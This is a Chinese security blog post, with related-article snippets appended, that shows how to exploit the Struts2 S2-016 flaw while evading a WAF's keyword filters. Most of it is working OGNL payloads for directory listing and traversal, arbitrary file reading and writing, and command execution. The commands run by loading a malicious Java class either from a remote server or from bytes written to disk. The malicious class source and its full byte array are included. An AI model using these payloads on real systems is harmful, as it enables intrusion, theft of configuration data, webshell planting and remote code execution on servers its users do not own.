struts2绕过waf读写文件及另类方式执行命令
之前碰到过好几次Struts2,还都是016,项目、众测都遇到过,每次都只是证明了一下存在,由于waf的存在,没有深入去利用,这里简单的记录下。
0x01 背景
xray或者Struts2漏扫可以扫到网站存在Struts2漏洞
但是执行命令会发现直接Connection Reset
,很明显是被waf拦截了
0x02 探究waf规则
一个一个删除关键字,发现拦截的关键字有三个:
Runtime
、dispatcher
Runtime
很熟悉,执行命令一般都用这个,拦截了这个关键字,执行命令还是比较困难的dispatcher
比较陌生,查了资料以后发现是读取Struts2的请求对象中的关键字getRealPath
字面意思,获取真实路径
0x03 尝试突破
简单说一下思路,在绕过waf关键字的前提下进行读、写文件,如webshell落地;或者直接执行命令,如CS上线等。
dispatcher
绕过
可以通过拼接进行绕过,部分代码如下:
#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest')
读、写文件绕过
0x001 获取web目录
首先要绕过getRealPath
关键字,可以使用req.getClass().getResource("/").getPath()
进行绕过
redirect:${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(#req.getClass().getResource("/").getPath()),#ot.flush(),#ot.close()}
0x002 查看目录的文件并列举出来
读取当前目录的第一个文件名,payload如下:
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[1]),#ot.flush(),#ot.close()}
这里由于也没有进行深入研究ognl的迭代,所以直接在index
累加了数字,如下:
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[1]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[2]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[3]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[4]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[5]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/").getPath()).list()[7]),#ot.flush(),#ot.close()}
穿越目录列举文件
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#ot.print('web'),#ot.print('path:'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[1]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[2]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[3]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[4]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[5]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[7]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[6]),#ot.print('\n'),#ot.print(new java.io.File(#req.getClass().getResource("/../").getPath()).list()[8]),#ot.flush(),#ot.close()}
0x003 读取指定文件,危害升级——任意文件读取
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedReader(new java.io.FileReader("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/web.xml")),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.print(#bb0.readLine()),#ot.flush(),#ot.close()}
由于是按行读取文件,所以也是比较机械的使用了readLine
函数
0x004 写入指定文件,危害升级——任意文件写入
创建文件
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.FileWriter("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/message_ae.properties"),#ot.print(#bb0.getClass()),#ot.flush(),#ot.close()}
创建文件成功
后续又创建了一个message_aaa.properties
文件,查看文件大小
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.File("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/messages_aaa.properties"),#ot.print(#bb0.length()),#ot.flush(),#ot.close()}
发现只是创建了文件,但是没有写入内容,所以文件大小为0,对文件内容的写入
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/usr/local/apache-tomcat-7.0.57/webapps/ROOT/WEB-INF/classes/messages_aaa.properties",true)),#bb0.append("aaaa"),#bb0.flush(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}
写入了四个字节的内容aaaa
再次查看文件大小
大小更改,文件写入成功
执行命令绕过
0x001 思路打开
这里也是尝试了很久去绕过执行命令的关键字,发现都失败了,waf拦截的很死,而且也不能像dispatcher
绕过一样拼接,几乎快放弃的时候,想到了加载恶意类去执行命令的这个方法
恶意类代码如下:
// Filename: hello.java
import java.lang.Runtime;
import java.lang.Process;
public class hello {
public hello() {
try {
String[] commands = { "ping", "test.xxx.dns.1433.eu.org" };
Process pc = Runtime.getRuntime().exec(commands);
} catch (Exception e) {
}
}
public static void main(String[] args) {
hello aa = new hello();
}
}
使用命令
$ javac hello.java
编译成class
0x002 初次尝试加载恶意类
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("http://x.x.x.x:8000/")},#cc0=new java.net.URLClassLoader(#bb0),#cc0.loadClass("hello"),#cc0.newInstance(),#ot.print(#cc0.getClass()),#ot.flush(),#ot.close()}
转换成java代码如下:
URL[] a = new URL[]{new URL("http://x.x.x.x:8000/")};
URLClassLoader b = new java.net.URLClassLoader(a);
b.loadClass("hello").newInstance();
这里不知道为什么失败了,后面一步步调试,发现loadClass
可以发起请求
但是实例化的时候出错了,后面也找不到什么解决方法,停滞了相当长的一段时间
0x003 成功加载恶意类
后续又遇到了一个Struts2 016,然后循着之前所思考的继续往下,更改了实例化的方法,最终成功了,具体成功payload如下:
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("http://x.x.x.x:8000/")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello"),#cc1.getDeclaredMethods()[0].invoke(#cc1.newInstance()),#ot.print(),#ot.flush(),#ot.close()}
URL[] a = new URL[]{new URL("http://x.x.x.x:8000/")};
URLClassLoader b = new java.net.URLClassLoader(a);
b.loadClass("hello3").getDeclaredMethods()[0].invoke(b.loadClass("hello3").newInstance());
使用getDeclaredMethods
与invoke
是可以成功加载恶意类执行命令的
0x004 不出网加载恶意类
后面又想了一会,如果在一个不出网的环境下,那怎么可以加载恶意类去执行命令呢,想到了之前的写入文件,先写入恶意类到本地,然后通过file
协议去加载本地的恶意类,进而达到执行命令的目的
一开始想用base64编码class文件进行写入,但是这里不知道为什么Base64的类引入不了,java.util.Base64
和sun.misc.BASE64Decoder
都不行
这里打印了类名,但是无回显,说明payload内部环节有误
后面转变了一下思路,base64如果不行,那我如果用byte[]
去写入文件,是不是也可以做到无损?
这里沿用之前写webshell的类,即new java.io.BufferedWriter(new java.io.FileWriter())
还是之前的hello.java
文件(其实这里如果实际当中利用,推荐写入还是为hello.class
,因为需要加载恶意类,需要同一名称,下文为了区分开,我取了其他名称)
读取hello.class的文件为byte[]
public static void main(String[] args) throws IOException {
byte[] data = getBytesByFile("hello.class");
String total = "";
for (byte d:data) {
total = total + d + ",";
}
System.out.println(total);
}
//将文件转换成Byte数组
public static byte[] getBytesByFile(String pathStr) {
File file = new File(pathStr);
try {
FileInputStream fis = new FileInputStream(file);
ByteArrayOutputStream bos = new ByteArrayOutputStream(1000);
byte[] b = new byte[1000];
int n;
while ((n = fis.read(b)) != -1) {
bos.write(b, 0, n);
}
fis.close();
byte[] data = bos.toByteArray();
bos.close();
return data;
} catch (Exception e) {
e.printStackTrace();
}
return null;
}
payload如下:
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.BufferedWriter(new java.io.FileWriter("/xxxxx/classes/hellotest.class",true)),#a=new byte[]{-54,-2,-70,-66,0,0,0,52,0,37,10,0,10,0,22,7,0,23,8,0,24,8,0,25,10,0,26,0,27,10,0,26,0,28,7,0,29,7,0,30,10,0,8,0,22,7,0,31,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,30,7,0,29,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,10,104,101,108,108,111,46,106,97,118,97,12,0,11,0,12,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,4,112,105,110,103,1,0,29,116,101,115,116,46,51,57,100,57,48,56,101,102,46,100,110,115,46,49,52,51,51,46,101,117,46,111,114,103,7,0,32,12,0,33,0,34,12,0,35,0,36,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,5,104,101,108,108,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,0,33,0,8,0,10,0,0,0,0,0,2,0,1,0,11,0,12,0,1,0,13,0,0,0,106,0,4,0,3,0,0,0,32,42,-73,0,1,5,-67,0,2,89,3,18,3,83,89,4,18,4,83,76,-72,0,5,43,-74,0,6,77,-89,0,4,76,-79,0,1,0,4,0,27,0,30,0,7,0,2,0,14,0,0,0,26,0,6,0,0,0,5,0,4,0,8,0,19,0,9,0,27,0,12,0,30,0,11,0,31,0,13,0,15,0,0,0,16,0,2,-1,0,30,0,1,7,0,16,0,1,7,0,17,0,0,9,0,18,0,19,0,1,0,13,0,0,0,37,0,2,0,2,0,0,0,9,-69,0,8,89,-73,0,9,76,-79,0,0,0,1,0,14,0,0,0,10,0,2,0,0,0,16,0,8,0,17,0,1,0,20,0,0,0,2,0,21},#bb0.append(new java.lang.String(#a)),#bb0.flush(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}
这里写入成功,但是发现两者有很明显的字节差距
而且反编译为空,识别不了
猜测是因为new java.lang.String
的时候编码导致的这个问题,所以继续去找有没有直接写字节的方法
后面找到java.io.FileOutputStream
这个方法,直接通过write
可以写入字节,poc如下:
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.io.FileOutputStream("/xxxxx/classes/hello3.class"),#a=new byte[]{-54,-2,-70,-66,0,0,0,52,0,37,10,0,10,0,22,7,0,23,8,0,24,8,0,25,10,0,26,0,27,10,0,26,0,28,7,0,29,7,0,30,10,0,8,0,22,7,0,31,1,0,6,60,105,110,105,116,62,1,0,3,40,41,86,1,0,4,67,111,100,101,1,0,15,76,105,110,101,78,117,109,98,101,114,84,97,98,108,101,1,0,13,83,116,97,99,107,77,97,112,84,97,98,108,101,7,0,30,7,0,29,1,0,4,109,97,105,110,1,0,22,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,86,1,0,10,83,111,117,114,99,101,70,105,108,101,1,0,10,104,101,108,108,111,46,106,97,118,97,12,0,11,0,12,1,0,16,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,1,0,4,112,105,110,103,1,0,29,116,101,115,116,46,51,57,100,57,48,56,101,102,46,100,110,115,46,49,52,51,51,46,101,117,46,111,114,103,7,0,32,12,0,33,0,34,12,0,35,0,36,1,0,19,106,97,118,97,47,108,97,110,103,47,69,120,99,101,112,116,105,111,110,1,0,5,104,101,108,108,111,1,0,16,106,97,118,97,47,108,97,110,103,47,79,98,106,101,99,116,1,0,17,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,1,0,10,103,101,116,82,117,110,116,105,109,101,1,0,21,40,41,76,106,97,118,97,47,108,97,110,103,47,82,117,110,116,105,109,101,59,1,0,4,101,120,101,99,1,0,40,40,91,76,106,97,118,97,47,108,97,110,103,47,83,116,114,105,110,103,59,41,76,106,97,118,97,47,108,97,110,103,47,80,114,111,99,101,115,115,59,0,33,0,8,0,10,0,0,0,0,0,2,0,1,0,11,0,12,0,1,0,13,0,0,0,106,0,4,0,3,0,0,0,32,42,-73,0,1,5,-67,0,2,89,3,18,3,83,89,4,18,4,83,76,-72,0,5,43,-74,0,6,77,-89,0,4,76,-79,0,1,0,4,0,27,0,30,0,7,0,2,0,14,0,0,0,26,0,6,0,0,0,5,0,4,0,8,0,19,0,9,0,27,0,12,0,30,0,11,0,31,0,13,0,15,0,0,0,16,0,2,-1,0,30,0,1,7,0,16,0,1,7,0,17,0,0,9,0,18,0,19,0,1,0,13,0,0,0,37,0,2,0,2,0,0,0,9,-69,0,8,89,-73,0,9,76,-79,0,0,0,1,0,14,0,0,0,10,0,2,0,0,0,16,0,8,0,17,0,1,0,20,0,0,0,2,0,21},#bb0.write(#a),#bb0.flush(),#bb0.close(),#ot.print(#bb0),#ot.flush(),#ot.close()}
得到的结果如下:
反编译也成功
那么进行本地的file协议加载class类
redirect:http://www.baidu.com${#req=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletReq'+'uest'),#resp=#context.get('co'+'m.open'+'symphony.xwo'+'rk2.disp'+'atcher.HttpSer'+'vletRes'+'ponse'),#resp.setCharacterEncoding('UTF-8'),#ot=#resp.getWriter (),#bb0=new java.net.URL[]{new java.net.URL("file:/xxxxx/WEB-INF/classes/")},#cc0=new java.net.URLClassLoader(#bb0),#cc1=#cc0.loadClass("hello3"),#cc1.getDeclaredMethods()[0].invoke(#cc1.newInstance()),#ot.print(),#ot.flush(),#ot.close()}
dns平台接收到请求,利用成功
0x04 总结
- 碰到waf不能直接放弃,在能力范围内进行不断尝试与绕过,也许就可以进行绕过。
- 尽可能对payload代码进行研究,而不是只依赖于工具,尽量不要
工具成功我就成功,工具失败我就失败
这种观点。
参考链接:
https://github.com/vulhub/vulhub/tree/master/struts2/s2-016 【struts2 016环境】
struts2绕过waf读写文件及另类方式执行命令的更多相关文章
- Python 读写文件的正确方式
当你用 Python 写程序时,不论是简单的脚本,还是复杂的大型项目,其中最常见的操作就是读写文件.不管是简单的文本文件.繁杂的日志文件,还是分析图片等媒体文件中的字节数据,都需要用到 Python ...
- 关于python读写文件的r+方式的坑
写脚本的时候需要将文件中的一行修改,我的修改逻辑是,用r+方式打开文件,然后将原文件数据读入一个数组,修改数组的对应元素,在seek(0),然后将数组write进文件 结果: 文件文件末尾总是多出一行 ...
- 11. python读写文件的多种方式
一.txt文件 with open('users.txt','r') as user_file: data = user_file.readlines() users = [] for line in ...
- 【奇技淫巧】绕过waf写文件
今天偶然利用此命令干成了大事,老司机一看就懂命令用法百度搜到的,希望对各位表哥有用echo 48 65 6C 6C 6F 2C 57 6F 72 6C 64 21 >hex.txt::生成 he ...
- Linux 升级修改libc gcc 文件名称,导致执行命令失效问题解决
升级linux文件时,若不小心把文件名给重命名了,结果导致执行所有命令都不识别. 比如我们不小心执行了 mv /lib64/libc.so.6 /lib64/libc.so.6.bak 结果导致所有系 ...
- cmd到指定目录并执行命令 mysql到bin目录并执行命令 cmd bat进入指定文件夹中并执行命令
其实就一条命令:(保存为bat格式,注意:有两个and希腊字母 && )cmd /k "cd /d Your ProjectPath&&Your CMD co ...
- shell读取文件每行,并执行命令
#!/bin/bash while read line do $line & done < /path/filename
- nodeJS中读写文件方法的区别
导言:nodejs中所有与文件相关的操作都在fs模块中,而读写操作又是我们会经常用到的操作,nodejs的fs模块针对读操作为我们提供了readFile,read, createReadStream三 ...
- 一键帮你复制多个文件到多个机器——PowerShell小脚本(内附PS远程执行命令问题解析)
作为一个后台程序猿,经常需要把一堆程序集(DLL)或者应用程序(EXE)复制到多个服务器上,实现程序的代码逻辑更新,用以测试新的功能或改动逻辑.这里给大家介绍一个自己实现的PowerShell脚本,方 ...
随机推荐
- springcloud学习01-用intellij idea搭建Eureka服务
0.配置intellij idea工具:https://www.cnblogs.com/wang-liang-blogs/p/12060702.html 1.使用maven构建工具构建主工程项目. 1 ...
- (web)Bugs_Bunny_CTF_writeup 部分简单web
Nothing here QnVnc19CdW5ueXs1MjljNDI5YWJkZTIxNzFkMGEyNTU4NDQ3MmFmODIxN30K Bugs_Bunny{529c429abde2171 ...
- 浅谈systemd原理和应用
多不说,直接上代码(可谓配置): [Unit] Description=demo app After=network-is-online.target [Service] Type=Simple Ex ...
- 廖雪峰Python实战day1
一.按照廖雪峰的教程,安装开发环境,问题不大. 1.异步框架aiohttp:$pip3 install aiohttp 2.前端模板引擎jinja2:$ pip3 install jinja2 3.安 ...
- Dubbo 和 Dubbox 之间的区别?
Dubbox 是继 Dubbo 停止维护后,当当网基于 Dubbo 做的一个扩展项目,如 加了服务可 Restful 调用,更新了开源组件等.
- Scanner几个问题与正则简介
Pre:最近做了头条的在线笔试,对Scanner输入的处理有些特殊,当时是一脸懵逼态,遂由此随笔(/@_@\),java小白,有错难免! 查了下Scanner的源码,没有头绪,但是其中用到了正则的知识 ...
- 为什么要使用 kafka,为什么要使用消息队列?
缓冲和削峰:上游数据时有突发流量,下游可能扛不住,或者下游没有足够多的机器来保证冗余,kafka在中间可以起到一个缓冲的作用,把消息暂存在kafka中,下游服务就可以按照自己的节奏进行慢慢处理. 解耦 ...
- (转载)一篇文章带你分清楚JWT,JWS与JWE
是JWS(JSON Web Signature),也往往导致了人们对于JWT的误解,但是JWT并不等于JWS,JWS只是JWT的一种实现,除了JWS外,JWE(JSON Web Encryption) ...
- 两个相同的对象会有不同的的 hash code 吗?
不能,根据 hash code 的规定,这是不可能的.
- sleep 方法和 wait 方法有什么区别?
这个问题常问,sleep 方法和 wait 方法都可以用来放弃 CPU 一定的时间,不同点 在于如果线程持有某个对象的监视器,sleep 方法不会放弃这个对象的监视器, wait 方法会放弃这个对象的 ...